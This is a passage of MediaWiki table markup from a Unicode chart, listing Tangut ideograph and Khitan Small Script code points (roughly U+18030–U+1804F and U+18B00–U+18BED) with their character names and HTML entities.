|{{H:title|dotted=no|TANGUT IDEOGRAPH-18030|&amp;#x18030;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18031|&amp;#x18031;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18032|&amp;#x18032;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18033|&amp;#x18033;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18034|&amp;#x18034;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18035|&amp;#x18035;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18036|&amp;#x18036;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18037|&amp;#x18037;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18038|&amp;#x18038;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18039|&amp;#x18039;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-1803A|&amp;#x1803a;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-1803B|&amp;#x1803b;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-1803C|&amp;#x1803c;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-1803D|&amp;#x1803d;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-1803E|&amp;#x1803e;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-1803F|&amp;#x1803f;}}
|----- style=&quot;text-align:center;background:#9c8dff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|1804x
|{{H:title|dotted=no|TANGUT IDEOGRAPH-18040|&amp;#x18040;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18041|&amp;#x18041;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18042|&amp;#x18042;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18043|&amp;#x18043;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18044|&amp;#x18044;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18045|&amp;#x18045;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18046|&amp;#x18046;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18047|&amp;#x18047;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18048|&amp;#x18048;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18049|&amp;#x18049;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-1804A|&amp;#x1804a;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-1804B|&amp;#x1804b;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-1804C|&amp;#x1804c;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-1804D|&amp;#x1804d;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-1804E|&amp;#x1804e;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-1804F|&amp;#x1804f;}}
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|-
| colspan=&quot;17&quot; style=&quot;background:#f8f8f8;{{text default color}};text-align:center&quot; | '''Tangut Components'''
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!U+||0||1||2||3||4||5||6||7||8||9||A||B||C||D||E||F
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!style=&quot;background:#ffffff;{{text default color}};&quot;|18B0x
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B00|&amp;#x18b00;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B01|&amp;#x18b01;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B02|&amp;#x18b02;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B03|&amp;#x18b03;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B04|&amp;#x18b04;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B05|&amp;#x18b05;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B06|&amp;#x18b06;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B07|&amp;#x18b07;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B08|&amp;#x18b08;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B09|&amp;#x18b09;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B0A|&amp;#x18b0a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B0B|&amp;#x18b0b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B0C|&amp;#x18b0c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B0D|&amp;#x18b0d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B0E|&amp;#x18b0e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B0F|&amp;#x18b0f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18B1x
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B10|&amp;#x18b10;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B11|&amp;#x18b11;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B12|&amp;#x18b12;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B13|&amp;#x18b13;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B14|&amp;#x18b14;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B15|&amp;#x18b15;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B16|&amp;#x18b16;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B17|&amp;#x18b17;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B18|&amp;#x18b18;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B19|&amp;#x18b19;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B1A|&amp;#x18b1a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B1B|&amp;#x18b1b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B1C|&amp;#x18b1c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B1D|&amp;#x18b1d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B1E|&amp;#x18b1e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B1F|&amp;#x18b1f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18B2x
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B20|&amp;#x18b20;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B21|&amp;#x18b21;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B22|&amp;#x18b22;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B23|&amp;#x18b23;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B24|&amp;#x18b24;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B25|&amp;#x18b25;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B26|&amp;#x18b26;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B27|&amp;#x18b27;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B28|&amp;#x18b28;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B29|&amp;#x18b29;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B2A|&amp;#x18b2a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B2B|&amp;#x18b2b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B2C|&amp;#x18b2c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B2D|&amp;#x18b2d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B2E|&amp;#x18b2e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B2F|&amp;#x18b2f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18B3x
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B30|&amp;#x18b30;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B31|&amp;#x18b31;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B32|&amp;#x18b32;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B33|&amp;#x18b33;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B34|&amp;#x18b34;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B35|&amp;#x18b35;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B36|&amp;#x18b36;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B37|&amp;#x18b37;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B38|&amp;#x18b38;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B39|&amp;#x18b39;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B3A|&amp;#x18b3a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B3B|&amp;#x18b3b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B3C|&amp;#x18b3c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B3D|&amp;#x18b3d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B3E|&amp;#x18b3e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B3F|&amp;#x18b3f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18B4x
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B40|&amp;#x18b40;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B41|&amp;#x18b41;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B42|&amp;#x18b42;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B43|&amp;#x18b43;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B44|&amp;#x18b44;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B45|&amp;#x18b45;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B46|&amp;#x18b46;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B47|&amp;#x18b47;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B48|&amp;#x18b48;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B49|&amp;#x18b49;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B4A|&amp;#x18b4a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B4B|&amp;#x18b4b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B4C|&amp;#x18b4c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B4D|&amp;#x18b4d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B4E|&amp;#x18b4e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B4F|&amp;#x18b4f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18B5x
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B50|&amp;#x18b50;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B51|&amp;#x18b51;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B52|&amp;#x18b52;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B53|&amp;#x18b53;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B54|&amp;#x18b54;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B55|&amp;#x18b55;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B56|&amp;#x18b56;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B57|&amp;#x18b57;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B58|&amp;#x18b58;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B59|&amp;#x18b59;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B5A|&amp;#x18b5a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B5B|&amp;#x18b5b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B5C|&amp;#x18b5c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B5D|&amp;#x18b5d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B5E|&amp;#x18b5e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B5F|&amp;#x18b5f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18B6x
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B60|&amp;#x18b60;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B61|&amp;#x18b61;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B62|&amp;#x18b62;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B63|&amp;#x18b63;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B64|&amp;#x18b64;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B65|&amp;#x18b65;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B66|&amp;#x18b66;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B67|&amp;#x18b67;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B68|&amp;#x18b68;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B69|&amp;#x18b69;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B6A|&amp;#x18b6a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B6B|&amp;#x18b6b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B6C|&amp;#x18b6c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B6D|&amp;#x18b6d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B6E|&amp;#x18b6e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B6F|&amp;#x18b6f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18B7x
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B70|&amp;#x18b70;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B71|&amp;#x18b71;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B72|&amp;#x18b72;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B73|&amp;#x18b73;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B74|&amp;#x18b74;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B75|&amp;#x18b75;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B76|&amp;#x18b76;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B77|&amp;#x18b77;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B78|&amp;#x18b78;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B79|&amp;#x18b79;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B7A|&amp;#x18b7a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B7B|&amp;#x18b7b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B7C|&amp;#x18b7c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B7D|&amp;#x18b7d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B7E|&amp;#x18b7e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B7F|&amp;#x18b7f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18B8x
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B80|&amp;#x18b80;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B81|&amp;#x18b81;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B82|&amp;#x18b82;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B83|&amp;#x18b83;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B84|&amp;#x18b84;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B85|&amp;#x18b85;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B86|&amp;#x18b86;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B87|&amp;#x18b87;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B88|&amp;#x18b88;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B89|&amp;#x18b89;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B8A|&amp;#x18b8a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B8B|&amp;#x18b8b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B8C|&amp;#x18b8c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B8D|&amp;#x18b8d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B8E|&amp;#x18b8e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B8F|&amp;#x18b8f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18B9x
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B90|&amp;#x18b90;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B91|&amp;#x18b91;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B92|&amp;#x18b92;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B93|&amp;#x18b93;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B94|&amp;#x18b94;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B95|&amp;#x18b95;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B96|&amp;#x18b96;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B97|&amp;#x18b97;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B98|&amp;#x18b98;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B99|&amp;#x18b99;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B9A|&amp;#x18b9a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B9B|&amp;#x18b9b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B9C|&amp;#x18b9c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B9D|&amp;#x18b9d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B9E|&amp;#x18b9e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B9F|&amp;#x18b9f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18BAx
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BA0|&amp;#x18ba0;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BA1|&amp;#x18ba1;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BA2|&amp;#x18ba2;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BA3|&amp;#x18ba3;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BA4|&amp;#x18ba4;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BA5|&amp;#x18ba5;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BA6|&amp;#x18ba6;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BA7|&amp;#x18ba7;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BA8|&amp;#x18ba8;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BA9|&amp;#x18ba9;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BAA|&amp;#x18baa;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BAB|&amp;#x18bab;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BAC|&amp;#x18bac;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BAD|&amp;#x18bad;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BAE|&amp;#x18bae;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BAF|&amp;#x18baf;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18BBx
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BB0|&amp;#x18bb0;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BB1|&amp;#x18bb1;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BB2|&amp;#x18bb2;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BB3|&amp;#x18bb3;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BB4|&amp;#x18bb4;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BB5|&amp;#x18bb5;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BB6|&amp;#x18bb6;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BB7|&amp;#x18bb7;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BB8|&amp;#x18bb8;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BB9|&amp;#x18bb9;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BBA|&amp;#x18bba;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BBB|&amp;#x18bbb;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BBC|&amp;#x18bbc;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BBD|&amp;#x18bbd;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BBE|&amp;#x18bbe;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BBF|&amp;#x18bbf;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18BCx
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BC0|&amp;#x18bc0;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BC1|&amp;#x18bc1;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BC2|&amp;#x18bc2;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BC3|&amp;#x18bc3;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BC4|&amp;#x18bc4;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BC5|&amp;#x18bc5;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BC6|&amp;#x18bc6;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BC7|&amp;#x18bc7;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BC8|&amp;#x18bc8;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BC9|&amp;#x18bc9;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BCA|&amp;#x18bca;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BCB|&amp;#x18bcb;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BCC|&amp;#x18bcc;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BCD|&amp;#x18bcd;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BCE|&amp;#x18bce;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BCF|&amp;#x18bcf;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18BDx
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BD0|&amp;#x18bd0;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BD1|&amp;#x18bd1;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BD2|&amp;#x18bd2;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BD3|&amp;#x18bd3;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BD4|&amp;#x18bd4;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BD5|&amp;#x18bd5;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BD6|&amp;#x18bd6;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BD7|&amp;#x18bd7;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BD8|&amp;#x18bd8;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BD9|&amp;#x18bd9;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BDA|&amp;#x18bda;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BDB|&amp;#x18bdb;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BDC|&amp;#x18bdc;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BDD|&amp;#x18bdd;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BDE|&amp;#x18bde;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BDF|&amp;#x18bdf;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18BEx
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BE0|&amp;#x18be0;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BE1|&amp;#x18be1;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BE2|&amp;#x18be2;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BE3|&amp;#x18be3;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BE4|&amp;#x18be4;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BE5|&amp;#x18be5;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BE6|&amp;#x18be6;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BE7|&amp;#x18be7;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BE8|&amp;#x18be8;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BE9|&amp;#x18be9;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BEA|&amp;#x18bea;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BEB|&amp;#x18beb;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BEC|&amp;#x18bec;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BED|&amp;#x18bed;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT 